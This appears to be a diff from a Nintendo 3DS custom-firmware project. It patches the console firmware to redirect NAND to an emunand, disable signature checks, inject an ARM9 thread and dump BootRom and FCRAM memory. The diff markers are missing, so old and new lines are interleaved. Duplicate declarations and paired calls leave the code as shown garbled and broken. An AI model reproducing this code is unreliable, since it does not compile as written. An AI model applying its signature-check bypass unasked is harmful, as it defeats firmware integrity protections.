void loadEmu(void){
//Read emunand code from SD
u32 code = emuCode(kversion);
fileRead((u8*)code, "/rei/emunand/emunand.bin", 0);
u32 *pos_offset = memsearch((u8*)code, "NAND", 0x218, 4);
u32 *pos_header = memsearch((u8*)code, "NCSD", 0x218, 4);
memcpy((void *)pos_offset, (void *)emuOffset, 4);
memcpy((void *)pos_header, (void *)emuHeader, 4);
u32 code = emuCode();
fileRead(code, "/rei/emunand/emunand.bin", 0);
u32 *pos_offset = memsearch(code, "NAND", 0x218, 4);
u32 *pos_header = memsearch(code, "NCSD", 0x218, 4);
if (pos_offset && pos_header) {
*pos_offset = emuOffset;
*pos_header = emuHeader;
}
fileWrite(code, "help.bin", 0x200);
//Add emunand hooks
memcpy((u8*)emuHook(1, kversion), nandRedir, sizeof(nandRedir));
memcpy((u8*)emuHook(2, kversion), nandRedir, sizeof(nandRedir));
memcpy((u8*)emuHook(1), nandRedir, sizeof(nandRedir));
memcpy((u8*)emuHook(2), nandRedir, sizeof(nandRedir));
}
//Patches
void patchFirm(){
//Part1: Set MPU for payload area
memcpy((u8*)mpuCode(kversion), mpu, sizeof(mpu));
memcpy((u8*)mpuCode(), mpu, sizeof(mpu));
//Part2: Disable signature checks
memcpy((u8*)sigPatch(1, kversion), sigPat1, sizeof(sigPat1));
memcpy((u8*)sigPatch(2, kversion), sigPat2, sizeof(sigPat2));
memcpy((u8*)sigPatch(1), sigPat1, sizeof(sigPat1));
memcpy((u8*)sigPatch(2), sigPat2, sizeof(sigPat2));
//Part3: Create arm9 thread
fileRead((u8*)threadCode(kversion), "/rei/thread/arm9.bin", 0);
if(kversion == 0x18){ //TODO: 0x18 only untill i can figure out why the hell this doesnt work on sysnand anymore.
memcpy((u8*)threadHook(1, kversion), th1, sizeof(th1));
memcpy((u8*)threadHook(2, kversion), th2, sizeof(th2));
}
fileRead((u8*)threadCode(), "/rei/thread/arm9.bin", 0);
memcpy((u8*)threadHook(1), th1, sizeof(th1));
memcpy((u8*)threadHook(2), th2, sizeof(th2));
}
//Firmlaunchhax
@ -109,9 +95,6 @@ void launchFirm(void){
memcpy(section[2].address, (u8*)firmLocation + section[2].offset, section[2].size);
*(u32 *)0x1FFFFFF8 = (u32)firmLocation->arm11Entry;
setKeys(kversion);
//Final jump to arm9 binary
((void (*)())0x801B01C)();
//((void (*)())firmLocation->arm9Entry)();
}

View File

@ -9,7 +9,7 @@
#include "types.h"
void loadSplash(void);
void loadFirm(int mode);
void loadFirm(void);
void loadEmu(void);
void patchFirm(void);
void launchFirm(void);

View File

@ -10,16 +10,11 @@
#include "firm.h"
#include "draw.h"
int mode = 1;
int main(){
mountSD();
loadSplash();
while(1){
if(((~*(unsigned *)0x10146000) & 0xFFF) == (1 << 3)) break;
else if(((~*(unsigned *)0x10146000) & 0xFFF) == ((1 << 3) | (1 << 1))) {mode = 0; break;}
} //Start = emu; Start+B = sys
loadFirm(mode);
loadFirm();
loadEmu();
patchFirm();
launchFirm();
return 0;

View File

@ -5,29 +5,38 @@
*/
#include "memory.h"
void memcpy(u8 *dest, u8 *src, u32 size){
for (u32 i = 0; i < size; i++) dest[i] = src[i];
}
void memcpy32(u32 *dest, u32 *src, u32 size){
for (u32 i = 0; i < size; i++) dest[i] = src[i];
}
void memset(u8 *dest, u32 fill, u32 size){
for (u32 i = 0; i < size; i++) dest[i] = fill;
void memcpy(void *dest, const void *src, u32 size){
char *destc = (char *)dest;
const char *srcc = (const char *)src;
u32 i; for (i = 0; i < size; i++) {
destc[i] = srcc[i];
}
}
int memcmp(u8 *buf1, u8 *buf2, u32 size){
for (u32 i = 0; i < size; i++) {
int cmp = buf1[i] - buf2[i];
if (cmp != 0) return cmp;
void memset(void *dest, int filler, u32 size){
char *destc = (char *)dest;
u32 i; for (i = 0; i < size; i++) {
destc[i] = filler;
}
}
int memcmp(const void *buf1, const void *buf2, u32 size){
const char *buf1c = (const char *)buf1;
const char *buf2c = (const char *)buf2;
u32 i; for (i = 0; i < size; i++) {
int cmp = buf1c[i] - buf2c[i];
if (cmp) return cmp;
}
return 0;
}
u32 *memsearch(u8 *start_pos, u8 *search, u32 size, u32 size_search){
for (u8 *pos = start_pos; pos <= start_pos + size - size_search; pos++) {
if (memcmp(pos, search, size_search) == 0) return (u32*)pos;
void *memsearch(void *start_pos, void *search, u32 size, u32 size_search){
for (void *pos = start_pos + size - size_search; pos >= start_pos; pos--) {
if (memcmp(pos, search, size_search) == 0) return pos;
}
return NULL;
}

View File

@ -8,10 +8,10 @@
#include "types.h"
void memcpy(u8 *dest, u8 *src, u32 size);
void memcpy(void *dest, const void *src, u32 size);
void memcpy32(u32 *dest, u32 *src, u32 size);
void memset(u8 *dest, u32 fill, u32 size);
int memcmp(u8 *buf1, u8 *buf2, u32 size);
u32 *memsearch(u8 *start_pos, u8 *search, u32 size, u32 size_search);
void memset(void *dest, int filler, u32 size);
int memcmp(const void *buf1, const void *buf2, u32 size);
void *memsearch(void *start_pos, void *search, u32 size, u32 size_search);
#endif

View File

@ -8,9 +8,8 @@
#define FIRM 0x24000000
#define KERNEL9 (FIRM + 0x66A00)
#define PROC9 (FIRM + 0x7D700)
#define v9_6_Offset 0x1600
#define KERNEL9 (FIRM + 0x68000)
#define PROC9 (FIRM + 0x7ED00)
#define K9_ADDR 0x08006000
#define P9_ADDR 0x08028000
@ -49,124 +48,37 @@ u8 th2[4] = {0xE0, 0xA6, 0x01, 0x08}; //0x0801A6E0
**************************************************/
//Where the emunand code is stored in firm
u32 emuCode(u32 kver){
u32 ret = NULL;
switch(kver){
case 0x04:
case 0x0C:
case 0x0F:
ret = KERNEL9 + (0x0801A4C0 - K9_ADDR);
break;
case 0x18:
ret = KERNEL9 + v9_6_Offset + (0x0801A4C0 - K9_ADDR);
break;
}
return ret;
u32 emuCode(void){
return KERNEL9 + (0x0801A4C0 - K9_ADDR);
}
//Where thread code is stored in firm
u32 threadCode(u32 kver){
u32 ret = NULL;
switch(kver){
case 0x04:
case 0x0C:
case 0x0F:
ret = KERNEL9 + (0x0801A6E0 - K9_ADDR);
case 0x18:
ret = KERNEL9 + v9_6_Offset + (0x0801A6E0 - K9_ADDR);
break;
}
return ret;
u32 threadCode(void){
return KERNEL9 + (0x0801A6E0 - K9_ADDR);
}
//Area of MPU setting code
u32 mpuCode(u32 kver){
u32 ret = NULL;
switch(kver){
case 0x04:
case 0x0C:
case 0x0F:
ret = KERNEL9 + (0x0801B3D4 - K9_ADDR);
break;
case 0x18:
ret = KERNEL9 + v9_6_Offset + (0x0801B3D4 - K9_ADDR);
break;
}
return ret;
u32 mpuCode(void){
return KERNEL9 + (0x0801B3D4 - K9_ADDR);
}
//Offsets to redirect to thread code
u32 threadHook(u8 val, u32 kver){
u32 ret = NULL;
switch(kver){
case 0x04:
ret = val == 1 ?
PROC9 + (0x0808690C - P9_ADDR) :
PROC9 + (0x08086940 - P9_ADDR);
break;
case 0x0C:
//TODO: find
break;
case 0x0F:
ret = val == 1 ?
PROC9 + (0x080860B0 - P9_ADDR) :
PROC9 + (0x080860E4 - P9_ADDR);
break;
case 0x18:
ret = val == 1 ?
PROC9 + v9_6_Offset + (0x08086140 - P9_ADDR) :
PROC9 + v9_6_Offset + (0x08086174 - P9_ADDR);
break;
}
return ret;
u32 threadHook(u8 val){
return val == 1 ?
PROC9 + (0x08086140 - P9_ADDR):
PROC9 + (0x08086174 - P9_ADDR);
}
//Offsets to redirect to Emunand code
u32 emuHook(u8 val, u32 kver){ //latest only
u32 ret = NULL;
switch(kver){
case 0x04:
//???
break;
case 0x0C:
//???
break;
case 0x0F:
if(val == 1) ret = PROC9 + (0x0807882C - P9_ADDR);
else if(val == 2) ret = PROC9 + (0x0807886C - P9_ADDR);
break;
case 0x18:
if(val == 1) ret = PROC9 + v9_6_Offset + (0x0807882C - P9_ADDR);
else if(val == 2) ret = PROC9 + v9_6_Offset + (0x0807886C - P9_ADDR);
break;
}
return ret;
u32 emuHook(u8 val){ //latest only
return val == 1 ?
PROC9 + (0x0807882C - P9_ADDR):
PROC9 + (0x0807886C - P9_ADDR);
}
//Offsets to redirect to thread code
u32 sigPatch(u8 val, u32 kver){
u32 ret = NULL;
switch(kver){
case 0x04:
ret = val == 1 ?
PROC9 + (0x08063C28 - P9_ADDR) :
PROC9 + (0x0805E2D4 - P9_ADDR);
break;
case 0x0C:
ret = val == 1 ?
0 :
0; //TODO: find
break;
case 0x0F:
ret = val == 1 ?
PROC9 + (0x08063374 - P9_ADDR) :
PROC9 + (0x0805D498 - P9_ADDR);
break;
case 0x18:
ret = val == 1 ?
PROC9 + v9_6_Offset + (0x080632B8 - P9_ADDR) :
PROC9 + v9_6_Offset + (0x0805D628 - P9_ADDR);
break;
}
return ret;
u32 sigPatch(u8 val){
return val == 1 ?
PROC9 + (0x080632B8 - P9_ADDR) :
PROC9 + (0x0805D628 - P9_ADDR);
}

View File

@ -21,11 +21,11 @@ u8 th2[4];
/**************************************************
* Functions
**************************************************/
u32 emuCode(u32 kver);
u32 mpuCode(u32 kver);
u32 threadCode(u32 kver);
u32 threadHook(u8 val, u32 kver);
u32 emuHook(u8 val, u32 kver);
u32 sigPatch(u8 val, u32 kver);
u32 emuCode(void);
u32 mpuCode(void);
u32 threadCode(void);
u32 threadHook(u8 val);
u32 emuHook(u8 val);
u32 sigPatch(u8 val);
#endif

View File

@ -10,10 +10,10 @@ void *memset(void * ptr, int value, unsigned int num){
}
int strcomp(char* s1, char* s2, unsigned int size){
for(int i = 0; i < size; i++){
for(int i = 0; i < size*2; i++){
if(s1[i] != s2[i]) return 0;
}
return 1;
return 1;
}
void strcopy(char* dest, char* source, unsigned int size){

View File

@ -68,7 +68,9 @@ void screenShot(int frame){
void patches(void){
//Change version string
for(int i = 0; i < 0x600000; i+=4){
if(strcomp((void*)0x27B00000 - i, (void*)L"Ver.", 4)) strcopy((void*)0x27B00000 - i, (void*)L"\uE024Rei", 4);
if(strcomp((void*)0x27B00000 - i, (void*)L"Ver.", 4)){
if(strcomp((void*)0x27B00000 - i + 0x28, (void*)"T_ver_00", 4)) strcopy((void*)0x27B00000 - i, (void*)L"\uE024Rei", 4);
}
}
}
@ -79,7 +81,7 @@ void thread(void){
screenShot(BOT_FRAME);
}
if(isPressed(BUTTON_START | BUTTON_X)){
memdump(L"sdmc:/BootRom.bin", 0xFFFF0000, 0x8000);
memdump(L"sdmc:/FCRAM.bin", (void*)0x27500000, 0x600000);
}
patches();
}